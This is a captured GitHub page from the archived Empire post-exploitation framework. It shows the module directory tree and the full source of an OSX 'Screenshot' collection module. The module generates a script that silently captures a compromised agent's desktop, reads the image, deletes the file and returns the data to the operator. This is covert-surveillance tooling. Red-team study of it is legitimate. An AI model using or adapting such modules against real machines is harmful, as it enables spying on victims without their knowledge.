

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Files

08cbd27

Go to file

>

.github

>

data

▼

lib

>

common

>

listeners

▼

modules

>

exfiltration

>

external

>

powershell

▼

python

▼

collection

>

linux

▼

osx

browser\_dump.py

clipboard.py

hashdump.py

imessage\_dump.py

kerberosdump.py

keychaindump.py

keychaindump\_chainbreak...

keychaindump\_decrypt.py

keylogger.py

native\_screenshot.py

native\_screenshot\_mss.py

osx\_mic\_record.py

pillage\_user.py

prompt.py

screensaver\_alleyoop.py

screenshot.py

search\_email.py

sniffer.py

webcam.py

>

exploit

>

lateral\_movement

>

management

Empire / lib / modules / python / collection / osx / screenshot.py

History

Code

Blame

86 lines (68 loc) · 2.92 KB

Raw

```

1  class Module:
2
3  def __init__(self, mainMenu, params=[]):
4
5      # metadata info about the module, not modified during runtime
6      self.info = {
7          # name for the module that will appear in module menus
8          'Name': 'Screenshot',
9
10         # list of one or more authors for the module
11         'Author': ['@harmj0y'],
12
13         # more verbose multi-line description of the module
14         'Description': ('Takes a screenshot of an OSX desktop using screencapture a
15
16         # True if the module needs to run in the background
17         'Background': False,
18
19         # File extension to save the file as
20         'OutputExtension': "png",
21
22         # if the module needs administrative privileges
23         'NeedsAdmin': False,
24
25         # True if the method doesn't touch disk/is reasonably opsec safe
26         'OpsecSafe': False,
27
28         # the module language
29         'Language' : 'python',
30
31         # the minimum language version needed
32         'MinLanguageVersion' : '2.6',
33
34         # list of any references/other comments
35         'Comments': []
36     }
37
38     # any options needed by the module, settable during runtime
39     self.options = {
40         # format:
41         #   value_name : {description, required, default_value}
42         'Agent': {
43             # The 'Agent' option is the only one that MUST be in a module
44             'Description' : 'Agent to execute module on.',
45             'Required' : True,
46             'Value' : ''
47         },
48         'SavePath': {
49             'Description' : 'Path of the temporary screenshot file to save.',
50             'Required' : True,
51             'Value' : '/tmp/out.png'
52         }
53     }
54
55     # save off a copy of the mainMenu object to access external functionalitv

```

Page 1 of 2

- > persistence
- > privesc
- > situational\_awareness
- > trollsloit
- powershell\_template.py
- python\_jobs\_template.py
- python\_template.py

```

55         # save on a copy of the main menu object to avoid external dependencies,
56         #   like listeners/agent handlers/etc.
57         self.mainMenu = mainMenu
58
59         # During instantiation, any settable option parameters
60         #   are passed as an object set to the module and the
61         #   options dictionary is automatically set. This is mostly
62         #   in case options are passed on the command line
63         if params:
64             for param in params:
65                 # parameter format is [Name, Value]
66                 option, value = param
67                 if option in self.options:
68                     self.options[option]['Value'] = value
69
70     def generate(self, obfuscate=False, obfuscationCommand=""):
71
72         savePath = self.options['SavePath']['Value']
73
74         script = """
75         # take a screenshot using screencapture
76         run_command('screencapture -x %s')
77         # base64 up resulting file, delete the file, return the base64 of the png output
78         #   mocked from the Empire screenshot module
79         f = open('%s', 'rb')
80         data = f.read()
81         f.close()
82         run_command('rm -f %s')
83         print data
84         """ % (savePath, savePath, savePath)
85
86         return script

```